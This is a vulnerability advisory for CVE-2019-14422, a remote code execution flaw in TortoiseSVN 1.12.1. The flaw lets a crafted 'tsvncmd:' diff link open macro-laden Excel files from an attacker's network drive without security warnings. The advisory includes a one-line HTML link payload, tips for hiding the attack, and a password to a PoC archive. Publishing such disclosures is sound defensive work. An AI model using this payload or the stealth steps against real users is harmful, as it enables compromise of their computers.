TortoiseSVN 1.12.1 Remote Code Execution

`Document Title:  
===============  
TortoiseSVN v1.12.1 - Remote Code Execution Vulnerability  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2188  
  
Product:  
https://osdn.net/projects/tortoisesvn/storage/1.12.1/Application/TortoiseSVN-1.12.1.28628-x64-svn-1.12.2.msi/  
  
Ticket: https://groups.google.com/forum/#!forum/tortoisesvn  
  
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-14422  
  
CVE-ID:  
=======  
CVE-2019-14422  
  
  
Release Date:  
=============  
2019-08-13  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2188  
  
  
Common Vulnerability Scoring System:  
====================================  
8.8  
  
  
Vulnerability Class:  
====================  
Code Execution  
  
  
Current Estimated Price:  
========================  
4.000€ - 5.000€  
  
  
Product & Service Introduction:  
===============================  
TortoiseSVN is a really easy to use Revision control / version control /  
source control software for Windows.  
It is based on Apache Subversion (SVN); TortoiseSVN provides a nice and  
easy user interface for Subversion.  
It is developed under the GPL. Which means it is completely free for  
anyone to use, including in a commercial  
environment, without any restriction. The source code is also freely  
available, so you can even develop your  
own version if you wish to. Since it's not an integration for a specific  
IDE like Visual Studio, Eclipse or  
others, you can use it with whatever development tools you like, and  
with any type of file.  
  
(Copy of the about page: https://tortoisesvn.net/about.html )  
  
  
Abstract Advisory Information:  
==============================  
A vulnerability laboratory researcher (vxrl team) discovered a remote  
code execution vulnerability in the TortoiseSVN v1.12.1 software.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2019-08-13: Public Disclosure (Vulnerability Laboratory)  
  
Affected Product(s):  
====================  
TortoiseSVN  
Product: TortoiseSVN - Software 1.12.1  
  
  
Discovery Status:  
=================  
Published  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
High  
  
  
Authentication Type:  
====================  
Pre auth - no privileges  
  
  
User Interaction:  
=================  
Low User Interaction  
  
  
Disclosure Type:  
================  
Independent Security Research  
  
  
Technical Details & Description:  
================================  
A remote code execution vulnerability has been uncovered in the official  
TortoiseSVN v1.12.1 software.  
The vulnerability typ allows remote attackers to execute arbitrary codes  
to compromise a target computer system.  
  
The URI handler of TortoiseSVN (Tsvncmd:) allows a customised diff  
operation on Excel workbooks, which could be used to open remote  
workbooks without protection from macro security settings to execute  
arbitrary code.  
  
The `tsvncmd:command:diff?path:[file1]?path2:[file2]` will execute a  
customised diff on [file1] and [file2] based on the file extension.  
For xls files, it will execute the script `diff-xls.js` using wscript,  
which will open the two files for analysis without any macro  
security warning. An attacker can exploit this by putting a macro virus  
in a network drive, and force the victim to open the workbooks  
and execute the macro inside. Since the macro is triggered through  
wscript, to make the attack less visible, one could kill the wscript  
process and quit the excel program after the code was executed.  
  
  
Proof of Concept (PoC):  
=======================  
The vulnerability could be triggered by visiting a specially crafted URL  
via web browser.  
To reproduce the vulnerability, one could simply create a .url file or  
open the URL with a browsers,  
but a notification prompt may be shown for the latter case.  
  
<a  
href='tsvncmd:command:diff?path:VBoxSvrvv.xlsm?path2:VBoxSvrvw.xlsx'>Checkout  
the Repo with TortoiseSVN</a>  
  
where VBoxSvrv is the remote network drive controlled by the attacker,  
v.xlsm is the macro virus and w.xlsx is just an empty excel workbook.  
  
Sources: https://www.vulnerability-lab.com/resources/documents/2188.rar  
Password: 23vxrl23  
  
PoC: Video  
https://www.youtube.com/watch?v=spvRSC377vI  
  
  
Security Risk:  
==============  
The security risk of the remote code execution vulnerability in the  
software component is estimated as high.  
  
  
Credits & Authors:  
==================  
PingFanZettaKe [VXRL Team] -  
https://www.vulnerability-lab.com/show.php?user=PingFanZettaKe  
  
  
Disclaimer & Information:  
=========================  
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